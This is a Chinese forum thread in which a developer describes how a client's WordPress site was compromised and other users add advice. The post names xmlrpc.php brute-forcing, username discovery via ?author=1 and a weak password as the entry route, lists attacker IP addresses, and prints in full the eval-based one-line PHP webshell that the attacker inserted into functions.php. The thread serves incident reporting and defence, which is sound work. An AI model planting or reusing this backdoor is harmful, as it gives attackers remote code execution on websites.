给别人公司做的网站被黑了~

Tou

是WP程序，自己做了个主题，今天他们公司打电话问我是不是网站维护中，网站开不了。
回家看看日志，才发现被黑了

用WP的还是安装一下插件防爆破吧

Tou

ninqq 发表于 2014-9-3 22:18
wp 用户名不使用admin这种
密码设置该复杂的 暴力破解过毛线 他用户名都不知道 ...

http://域名/?author=1 然后就知道非admin的admin权限用户了
我看日志看到的~黑黑 ~略屌

密码我是弱口令了

infokid

用HTML吧

Tou

175.126.111.78 攻击 网站/xmlrpc.php (这个可以对WordPress进行暴力破解攻击)
爆破了几百次就破解了(密码是弱密码)

之后是98.126.97.154登陆后台修改了/wp-admin/theme-editor.php?file=functions.php
<?php
function _g3t($str){
    $val = !empty($_GET[$str]) ? $_GET[$str] : null;
    return $val;
}
if(_g3t('UVF')=='f')
{
@eval($_POST['aEltU']);（一句话木马）
exit;
}
if(_g3t('UVF')=='c')
{
echo 'AcJ9ksbVjsdb';
exit;
}
//dsd6sc378axvg
?>

之后网站就500了（突然发现乱写的代码略屌！）
500再之后N个小时，被发现了


WP不要用弱密码，最好安装个Login Security Solutin



以下应该都是高端肉鸡
175.126.111.78
188.121.62.249
151.236.51.90
37.187.79.43
85.204.118.142
31.193.133.4
212.98.167.210
125.253.118.46
210.210.178.20
31.193.192.184
94.138.219.186
106.187.47.170
212.82.217.9
…………

你爹临死前

你说。。你好，为提升性能，服务器硬件更新维护

槛外人

这个文件一般人用不上吧，可以直接删掉或改名么？

fengpioaxue

高端肉鸡。。。

orvice

槛外人 发表于 2014-9-3 21:45
这个文件一般人用不上吧，可以直接删掉或改名么？

不需要这个功能可以改名呗

ninqq

wp 用户名不使用admin这种
密码设置该复杂的 暴力破解过毛线 他用户名都不知道

气味

用wp帮人弄一个企业站收多少钱？